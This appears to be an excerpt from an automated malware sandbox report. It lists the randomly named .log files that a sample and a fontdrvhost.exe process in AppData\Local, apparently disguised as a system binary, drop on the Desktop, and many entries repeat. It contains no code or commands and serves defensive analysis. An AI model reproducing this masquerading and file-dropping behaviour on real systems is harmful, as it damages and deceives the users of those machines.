Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aLYWFcdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fuaVjmBB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\VPWFywnw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pMKkuPam.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JvAHRkKP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XzKOkXsR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\VWGgLdif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YVGePHcW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DQsQlVoZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\lCADkPID.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HlvZPcYC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CTQIQVae.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GspafaHt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CdkYHFFH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RraOLYZw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TORFqFIZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TWBYVoif.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zntiAIEO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dbVNVLdb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\maCuLVwe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\wOXBumXW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RRcFiATg.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\THFECrua.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TlbPEPXm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rrvChBIx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GGiHtSpS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZbufrXkm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qguCdZEu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dabMNWxu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ouGCZwUD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DEcjsSrF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MTLhtkSf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\cixmEAyA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DdBAnNSZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\UOaorzbP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xgyKnYKq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\gmudUmpb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\PwAgeDiA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OnJqPAWm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QfCxRbIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NMMXsbef.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rmtKjMmm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MPlPWbPk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RMaOjKxV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\AFOsBjYP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OjpXkDnJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XEIwxBIS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MHvzAhUM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rAfUMkjC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\oQWKeSDj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WYfWtHNc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RCCOzYeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\GPSaXBQY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iJlVzTXF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HxFJRUCD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ifAdEpGk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IHwzgXOR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\COTaDrJc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kdNuDPIk.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\pJXAdKPi.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xkYbKhNl.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xHZssejW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\phJkSByL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qiEMTywj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kMzdwiuP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\lHCvjEeO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\blWejAjG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XzFFzMmI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\NWMxEuQr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mCNvXUiC.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\XFfNnXVZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZklVGaxA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FWzHsBqG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OEWHVhjH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NgoGZspx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iANVPgEI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\xvPIrmGV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\nJvbxzCb.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tqrrAUxf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\PEqxAxdY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JAxqeOaQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OemrfNDp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TCIWpNeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IiRYzRio.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YUSxJEkf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zfzIrCEh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\SbqYhYfr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\SdGfOIqy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\LtTWIWgh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TYRgCYum.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aVjDvRpd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MMDorhKp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JfyqGcCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WgOpYqoh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KjbhtTTT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kQZvTrxL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ylQifTUJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aFyNQRuY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sihlzJJp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WzsNMHNJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uHokLZDZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zReaumVj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kUpuTdpn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uvZrYWTP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\jECTfuuL.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\DnshUSLJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ULtOMFWU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\iKNvbzqU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\msUTDNPI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\zsrQNmVQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uJzjHyIX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dKmMwLxf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fqGCEpSY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OzZYIDTF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FWXhQVXq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QpCXcuuA.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\SKewgrff.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sXAbZyyE.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\wHLAFYKX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sQxsIGwX.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\nHlSHaLn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fyqViYtd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sYhLnqXd.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\XxwvJouT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KnZYovDz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zuGjoWSN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fvxnZIOH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\inpEUjnz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XsyMwKeS.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\dpYUmTzI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mJblSiJK.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OgxpbmIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\rudcNvNr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\wsOrhbIJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hsmnhNDB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ORiFVhtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ZtZwWUdP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CQeYyQPa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zzDSBAiP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ikDUDecv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WuogHSdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YOQFKOOU.log	Jump to dropped file

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\DnshUSLJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tAOrkGQb.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\SKewgrff.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\IbKgwPay.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\zsrQNmVQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\pJXAdKPi.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\XxwvJouT.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\wHLAFYKX.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\lThKWNPp.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\dpYUmTzI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tqrrAUxf.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tIxJOpqh.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\qxbJOXLg.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\avWEvUWS.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\RMCoLrQk.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\PCgnLZlk.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\xvPIrmGV.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\nHlSHaLn.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\XFfNnXVZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\NWMxEuQr.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\THFECrua.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\LtTWIWgh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MPlPWbPk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CgRzmzKC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kUpuTdpn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\blWejAjG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RCCOzYeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ylQifTUJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hezDLgou.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NMMXsbef.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uvZrYWTP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\cixmEAyA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KWVhlfdm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pzYaRqdW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YsHvxEyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\oTDkKMId.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KOmOGvDg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\kdNuDPIk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\auteTnDC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RMaOjKxV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IiRYzRio.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WzsNMHNJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\gmudUmpb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KjbhtTTT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CGTrJaEm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\sXAbZyyE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aLYWFcdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ORiFVhtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\phJkSByL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fyqViYtd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\VPWFywnw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NmOPODYO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fqGCEpSY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OjpXkDnJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ntFcgnCN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\dKmMwLxf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\UbSwNisy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KszgdGmQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CQeYyQPa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\jECTfuuL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aVjDvRpd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RraOLYZw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zfzIrCEh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FWzHsBqG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pMKkuPam.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\feqUKmVF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WvXEaKPX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MMDorhKp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CdkYHFFH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mbeUnBPt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\cnAeDqUL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zntiAIEO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\XsyMwKeS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xHZssejW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fvxnZIOH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\TCIWpNeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DACRVJoK.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uRiBlhjd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RRcFiATg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\yEAAOeyR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\oQWKeSDj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YOQFKOOU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\OgxpbmIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uJzjHyIX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\PEqxAxdY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FWXhQVXq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\wsOrhbIJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\nJvbxzCb.log	Jump to dropped file
